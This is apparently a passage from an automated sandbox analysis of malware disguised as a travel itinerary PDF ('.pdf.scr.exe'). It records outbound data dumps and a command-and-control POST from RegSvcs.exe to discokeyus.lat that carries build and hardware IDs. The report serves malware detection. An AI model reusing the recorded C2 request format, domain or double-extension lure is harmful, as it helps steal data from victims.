2b 59 ae fe 13 d5 5c 09 e2 91 21 b9 0a 02 8e 73 52 4f 86 1e 81 2a cf 32 a9 23 c1 da 15 59 54 b0 2b ee bb ee 21 Data Ascii: x7IK~fR;h%U@IkGWg;)J#2R1G@^_c`X8@1Z:Cl?Vrg-h[gP0Ua9KSv'2!l#hj+bg9(/0WT(19VA-ttuO+Y\!sRO*2#YT+!
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: c3 3a a6 1a ed c2 12 30 3a 43 20 88 49 51 9a ce 39 c4 4b 24 87 ce 27 1f b8 e3 bc 1e e9 01 e9 7b df 80 f5 e6 9b c5 a6 96 33 bd 27 92 ca 21 a6 e6 f6 89 60 ff c4 db c6 27 bd fe 73 fc a7 4f dc cf 8e a9 fe 54 56 e2 47 19 98 b4 4b da c9 c0 76 96 f0 be dd 7f 2a 6f 5d 77 aa 86 74 97 14 50 cd 9b d0 19 ab 6a e8 b3 7a e4 eb db 3d 9d 92 24 3f 6b 2c c4 b1 7d 2b 3e 2c b8 7c 17 4a e2 dd 7e 01 e2 1a b0 15 62 20 78 15 77 e1 bc 88 63 2b 38 c5 8b ba 46 f2 18 a6 11 87 8a 1a 8a 14 10 24 ef 0e 7f c7 46 ea 15 01 3f f4 3e b2 cc 8c bb f8 aa 5c b3 01 57 d8 bb f3 87 ca bd f9 cb 02 11 67 aa a1 60 a5 74 6d 64 1b e7 ff 51 33 b8 5f 66 dc 6d ec af 9a bb 89 ed a9 17 41 a1 86 bb 22 79 a8 0f 33 f4 c3 92 6f ee 11 7d 67 1b df c0 c7 1f 5d bc 7e 4e 4f 0c 67 cd 03 05 a9 b6 f7 0e ad 06 96 26 7f Data Ascii: :0:C IQ9K$'{3'!`'sOTVGKv*o]wtPjz=$?k,}+>,\|J~b xwc+8F$F?>\Wg`tmdQ3_fmA"y3o}g]~NOg&
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 66 46 41 05 82 dd 6d e2 49 5f b8 a7 97 a0 c7 0f 56 a4 48 43 22 82 f2 60 c9 df 94 97 fa 69 4f 15 ce 99 fa 83 9a 5d c1 bb 26 b8 b5 6a 72 c7 bc 7b 05 05 20 43 52 4d a7 4f c4 03 a1 8b c3 49 7e c2 b6 81 e8 a4 00 be 65 31 f4 8d 8f f5 e8 4b 60 2e b5 a1 6a d7 ed df 92 e0 d9 5e ae 14 60 6e b8 73 f3 f5 4c 24 2b 4c d8 50 5b 65 69 4a 36 77 99 0f e9 48 15 20 1f e8 d3 2c fc 35 94 d4 b8 70 02 96 5f 65 e3 1e 35 f8 61 87 68 20 48 2e ab 8b 95 99 9d 7d 21 e2 84 53 44 3f f3 62 9d e0 6b 45 a9 53 38 77 f5 b5 1b 42 0e 40 b3 4f 63 64 d6 0f 2c 4d 09 e0 89 f2 4a 23 0e 41 ab 05 a4 f8 03 3d f5 2f 0b d9 f9 57 d4 a3 5c 6d e0 61 3a c8 34 28 ce 07 3c e2 53 be 8c 47 95 60 5c d8 57 2c f2 86 69 2a 64 1d 54 f3 ac c3 f3 ad e3 bb cf 26 85 85 11 5b 29 27 f8 3b 21 78 5d 8e 9f 90 2a ae 0e 2f c1 Data Ascii: fFAmI_VHC"`iO]&jr{ CRMOI~e1K`.j^`nsL$+LP[eiJ6wH ,5p_e5ah H.}!SD?bkES8wB@Ocd,MJ#A=/W\ma:4(<SG`\W,idT&[)';!x]/
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 50 22 60 b5 f8 4d 98 5f fb bd be e4 4f 7e 13 7e 1d bd 88 b5 8a 57 92 52 9a dd 0a 10 fd 81 f4 4c 24 dc d6 09 95 f0 e9 97 ad cc 67 b3 be cb d2 4d be 45 33 51 83 11 5b f6 32 fc 94 ff 8f f1 5d b9 ca 38 f4 af 5a 85 ee 6e 3d 49 3c f4 77 87 56 f4 bb 6f 6a 0d 3c dd e5 e6 cb 2f 4a 5f 00 9c 53 0e 69 ac 26 f6 9b e6 b1 34 b8 66 8e 2c 08 dc 4e a6 9a 0f d1 9c 4c f1 e0 b5 b3 80 9c 4d f1 a6 31 3a 02 c1 82 4f c3 d7 0c 15 54 20 7c 70 4a 85 1e 5f e0 3e 4e 8a a0 f9 03 c3 1c 11 80 26 a1 6b d2 f3 b8 81 c3 9d 86 fa 7c 54 df 67 a0 b9 09 da 0e be 7b d9 5a f8 90 ec 78 7f d8 58 52 85 b6 0e 9c ab a9 76 f4 2d b3 ad 6b 80 65 ea 99 5d 2e b9 38 aa 8f c2 91 e4 9e 55 05 7f 3a c5 8b 74 69 ea 9a 82 25 ec b5 07 37 bf 89 91 de a4 44 92 49 08 54 3b b4 fc ec 07 ee e2 f2 ab 25 4e 17 22 33 27 36 Data Ascii: P"`M_O~~WRL$gME3Q[2]8Zn=I<wVoj</J_Si&4f,NLM1:OT \|pJ_>N&k\|Tg{ZxXRv-ke].8U:ti%7DIT;%N"3'6
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 6f 05 2a 3f fd c9 b5 ed 46 0c 9c 2c b5 e8 cf 9f cd a0 ed d4 51 f4 ea a0 22 6d 01 89 77 c7 4b ce e9 64 be bc ef 96 6c aa 4f 46 76 1a e3 46 03 3c 05 dc cf ba e6 38 5a 74 da 59 53 a9 7e f6 0d 84 fb 2e c4 54 30 e5 4f 96 62 4d 1c ba 92 c6 fb 2a ec f4 45 b7 f1 61 05 fa 1b 38 af ce 14 c1 d5 40 ea c9 58 8c 41 07 13 3e dd 3a 41 0b a3 02 8a 1b 04 43 6c e3 93 ac f0 f7 e1 c1 ac 65 d9 5e c8 0a ce 43 af 87 24 17 a6 9a d7 8d 40 7e 93 0c f5 14 44 f2 66 8d 0c f4 9f 7c dd 99 87 01 4a 8f ed 18 d3 f8 7b 43 2e 3e c0 ed 65 bd ef f2 ce e3 9e bb e3 be 17 70 f7 37 dd 4a d8 4b 98 e9 3d 2d b6 cb 66 cf 3d 67 bb 27 4c 97 3d ba a9 9c 9c 19 01 9e 48 f0 6a d5 2e 10 e7 b3 20 94 c4 3e 71 9a 70 2c 5c 42 a2 ee 97 11 4e d6 69 2d 3e 68 bd b5 bd 0e fe 83 b9 91 78 aa 3f bb 8c f2 89 99 b3 61 93 Data Ascii: o?F,Q"mwKdlOFvF<8ZtYS~.T0ObMEa8@XA>:ACle^C$@~Df\|J{C.>ep7JK=-f=g'L=Hj. >qp,\BNi->hx?a
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: dc b0 ce 91 56 95 7c 68 08 61 40 0d ed de 81 36 be eb 51 d2 51 71 21 f7 da 71 c4 e2 21 99 36 5e 2f 72 53 11 dc a7 45 43 bd 05 63 e6 71 d9 7b ba ea 3c e8 98 2b fa bd 27 8e 5b 16 25 0b be cb c9 78 63 99 d7 23 18 60 25 d1 91 9f cc 4f 6a 0c fe 96 bd 62 b7 e9 e3 c3 6d 2c 11 78 c7 b1 68 fd 4c f7 aa 36 7b 5a e5 13 b8 47 fe 49 75 f9 f2 d7 66 fb bd 07 03 7c ab 3c b2 dc c9 67 7b f7 88 08 f3 f3 43 b0 09 f0 bd 34 82 32 9b 99 71 e3 79 5c 38 c5 fc 3d c3 40 79 0e 29 d4 1b 1c 7f 45 d9 a6 b0 a6 49 be de 2f 66 56 3f 93 1f f9 7c a7 89 31 9a 18 3f ad d9 f9 c0 d1 44 f6 da 29 fd b2 88 b3 fd 39 0a 2a 78 d2 59 a3 e6 8f 10 db 8a 21 42 c4 5e 9e 74 15 3d 13 09 21 02 40 9f bc b0 6f 16 4e b5 f7 d7 da 95 34 9c 7b 95 68 c0 cf c1 09 b2 cd b0 5e 19 b6 bf bd 41 75 07 46 7c b5 6a 49 55 a1 Data Ascii: V\|ha@6QQq!q!6^/rSECcq{<+'[%xc#`%Ojbm,xhL6{ZGIuf\|<g{C42qy\8=@y)EI/fV?\|1?D)9*xY!B^t=!@oN4{h^AuF\|jIU
2024-12-21 12:18:38 UTC	15331	OUT	Data Raw: 7b da e7 ae 88 cc 02 88 7f 19 d6 25 91 2a 69 68 85 22 62 95 2a cc 4a dc 24 a6 1c 7a d3 d0 c8 c5 c8 b9 41 a9 66 91 00 d1 eb 9e 39 d9 ed b1 4d 25 57 62 9b 95 4f af 3c 4c be a2 bc c4 fd e4 b3 93 7e ee 59 e7 2a c1 f0 d1 63 52 c0 1f 5b ff 86 92 8b e2 e8 94 bb 1d 7f 28 ae d9 12 97 be 7c fc f2 f1 e3 6b 2a ec 60 13 7a 4f ad ce 3d a1 3d 19 54 bc a9 86 f8 9f 6d 7b 32 4e 63 37 7f ee 3a df fd 9a 0f 25 7e d6 fc 35 3e ec 74 5a ec c2 76 47 2e a3 7b ee 5b d9 52 92 f2 2e 79 ea 6e c5 39 72 d2 4a 60 e5 d6 db 62 b0 4e e6 d4 c5 80 95 1e 65 77 52 af 30 cf 96 41 d2 43 8b 9a e0 d4 e7 e7 59 12 46 4f 2b 08 d2 48 39 01 00 e3 38 69 bb e5 ca fb 1a dd df 8b ed a4 92 ed 91 64 f9 cf e0 8a 65 8a 25 52 6c 32 e7 38 91 14 ee 63 56 6e 77 ac fa d4 6b 92 82 ca 60 99 1b 74 cd 73 37 89 fe ed 67 Data Ascii: {%ih"bJ$zAf9M%WbO<L~YcR[(\|k`zO==Tm{2Nc7:%~5>tZvG.{[R.yn9rJ`bNewR0ACYFO+H98ide%Rl28cVnwk`ts7g
2024-12-21 12:18:41 UTC	1137	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=abc342oaaphkspn82tab1clttd; expires=Wed, 16 Apr 2025 06:05:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IoxiFnu2YUqontglZOflv1a5%2BRvALbr331qbaISz8lEUZXJkSosWyyA16m3DdYdo%2BjhZXMk2NRQUFP4aK%2BPuL%2Bhcy0E2sWxLnEyrSbEhXZ9FMZRX3cKt%2FQZS9urgPRUcbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0dec9150c88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1479&rtt_var=561&sent=258&recv=440&lost=0&retrans=0&sent_bytes=2833&recv_bytes=427472&delivery_rate=1938911&cwnd=217&unsent_bytes=0&cid=d6d9dd10571485e2&ts=3397&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49784	172.67.197.170	443	6748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:42 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: discokeyus.lat
2024-12-21 12:18:42 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4f 50 43 4e 32 4d 2d 2d 53 65 72 67 65 69 26 6a 3d 26 68 77 69 64 3d 41 37 37 33 30 36 31 37 36 42 42 46 41 35 38 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=OPCN2M--Sergei&j=&hwid=A77306176BBFA58DAC8923850305D13E
2024-12-21 12:18:43 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 12:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hfi96tn50qkios3r95pf6347s2; expires=Wed, 16 Apr 2025 06:05:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7oGNEMxGyLUhp5F7r6ooS6g0Ba4MAkWxAXZpJ67tVZ7S6It3uolTYFuCvEqRXecoduF6hqY2NzJsoFVekxEcLuIeA%2BZbF5bpOR%2B47APil4m8Dfex0qoDXXTiIt49c3LYGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57d0fc3af8c427-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1598&rtt_var=622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=981&delivery_rate=1727810&cwnd=32&unsent_bytes=0&cid=766da481f849db69&ts=805&x=0"
2024-12-21 12:18:43 UTC	54	IN	Data Raw: 33 30 0d 0a 6d 67 76 44 53 44 31 38 2f 55 61 30 4e 79 7a 76 54 35 65 77 61 79 46 5a 57 44 64 4d 6e 6b 75 52 72 6a 71 42 2f 4c 74 47 54 35 37 42 56 67 3d 3d 0d 0a Data Ascii: 30mgvDSD18/Ua0NyzvT5ewayFZWDdMnkuRrjqB/LtGT57BVg==
2024-12-21 12:18:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:18:03
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe"
Imagebase:	0x500000
File size:	1'638'400 bytes
MD5 hash:	168E0D79AA66EFD4C83CB8A745D6157A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:18:15
Start date:	21/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:18:16
Start date:	21/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:18:17
Start date:	21/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1500,i,10956060416113398511,1382103396325876287,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	07:18:19
Start date:	21/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xcf0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.3%
Total number of Nodes:	87
Total number of Limit Nodes:	8

Executed Functions

Function 005D7458 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 005D7462

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6a2c3a532b3aab5d467452df68d3327be4242daec0e7effe1732a740cef8c118
Instruction ID: ddb464a1173c5a6fc7d9c0cf571fdc14f1764b231c09b8330cf07fc05fda8856
Opcode Fuzzy Hash: 6a2c3a532b3aab5d467452df68d3327be4242daec0e7effe1732a740cef8c118
Instruction Fuzzy Hash: E6D0123591420CDBCF04DBE4944D6CEBBF9A70838DF5006A5D095E2244E3F1E7C8DAA1

Function 0066488D Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_CxxThrowException.VCRUNTIME140(?,00672220), ref: 005010E9
_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00663DC3,00000024,00662449,7FFFFFFF,?,?,?,?,?,?,005BB5F0,?), ref: 00664895
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00663DC3,00000024,00662449,7FFFFFFF,?,?,?,?,?,?,005BB5F0,?), ref: 006648A2
_CxxThrowException.VCRUNTIME140(?,006721BC), ref: 0066520D

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: fe5a5109f357654df828b7b828c73525ced060bf95ea29992ce3441cc5318d56
Instruction ID: 78d6cf1721e35606aaa7aa276941fac29c384272e43f1a02de6c5b76b7e892d8
Opcode Fuzzy Hash: fe5a5109f357654df828b7b828c73525ced060bf95ea29992ce3441cc5318d56
Instruction Fuzzy Hash: 97F0D630400A0EB7CB10BA68EC5A89EBB6A5B00360F108528B959925D1EF70DA55C6D5

Function 0066204B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00662050
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,?,?,00501EAB,00000320), ref: 0066206B

Strings

list too long, xrefs: 00662066

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: H_prologXlength_error@std@@
String ID: list too long
API String ID: 1660897028-1124181908
Opcode ID: af7fdcc16bf03c80434b57def31380e3936693836d076d848bbb28716ddefb9b
Instruction ID: 5739e4061f1f11c41fa6cab4fe9d93e205f515e1d0b64344957f83f74f3ea91a
Opcode Fuzzy Hash: af7fdcc16bf03c80434b57def31380e3936693836d076d848bbb28716ddefb9b
Instruction Fuzzy Hash: 85F0A9B5A10600EFC318CF18D405BA9F7F6FF48725F10816EE45A97390CBB0A840CBA0

Function 006631B6 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00662375,?,005D7369), ref: 006631DC

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: acfcb5ea7eb3cd38cdc608ef549c399f1b80a06a8c9b7dab69ce2644c9df24db
Instruction ID: 3e870cd038ef78182c0b7c235b7f6c206f73ada7a8ecd598116201b873970d38
Opcode Fuzzy Hash: acfcb5ea7eb3cd38cdc608ef549c399f1b80a06a8c9b7dab69ce2644c9df24db
Instruction Fuzzy Hash: 37D0A7322080742EE90C6724BD4C5AEFF5BDB83765320449DE4054A748DE226BC04688

Function 00663250 Relevance: 1.3, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 395277e72d4fb4dd75be3bd14300ecbd83bd20d78d79c61f55d0743483edb005
Instruction ID: 62cb913816bb521f53cfb9c803a9fe440923a799d18e6a111fce936348ac92be
Opcode Fuzzy Hash: 395277e72d4fb4dd75be3bd14300ecbd83bd20d78d79c61f55d0743483edb005
Instruction Fuzzy Hash: 3AF02BB15016416BCF1CAB34D829C9E7BAAAF40352B504A7DF456C7781DF34CE948745

Non-executed Functions

Function 006653A4 Relevance: 9.1, APIs: 6, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006653B0
memset.VCRUNTIME140(?,00000000,00000003), ref: 006653D6
memset.VCRUNTIME140(?,00000000,00000050), ref: 00665460
IsDebuggerPresent.KERNEL32 ref: 0066547C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00665495
UnhandledExceptionFilter.KERNEL32(?), ref: 0066549F

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: f2bc2a025bceb1ba0ad2cbb56722796ab916ea1a6634ef997769c2df4a24a3f2
Instruction ID: bb2ef0d888851b30771a0508fde40779e83c56ef10207e1b635ece33ad9bedae
Opcode Fuzzy Hash: f2bc2a025bceb1ba0ad2cbb56722796ab916ea1a6634ef997769c2df4a24a3f2
Instruction Fuzzy Hash: D431F875D016289BDF60EF64D94ABCDBBB9AF08700F1041AAE40DAB250EB759B848F45

Function 00665294 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006652A6
GetCurrentThreadId.KERNEL32 ref: 006652B5
GetCurrentProcessId.KERNEL32 ref: 006652BE
QueryPerformanceCounter.KERNEL32(?), ref: 006652CB

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7d49513e4f3be65d27e44068ef01fd45ee7431f82da869b8bcc551ef2f94458c
Instruction ID: e2f511dc0f0bb6563dccb87d6b19b811509699146d47f819ad68eb51c8cd1b02
Opcode Fuzzy Hash: 7d49513e4f3be65d27e44068ef01fd45ee7431f82da869b8bcc551ef2f94458c
Instruction Fuzzy Hash: 1EF0B270C1121CEBCB04DBB4CA8898EBBF4FF1C204B915595A416E7210E730AB84AB51

Function 00664EB1 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00664EC7

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f67448ee69e16083e290dd0825f77dc1c1ad46c8240896e3c3697bb84c881296
Instruction ID: 9c108b2babfa7d2349f391850b4370146713a23f435fc50807c0330fe469d76f
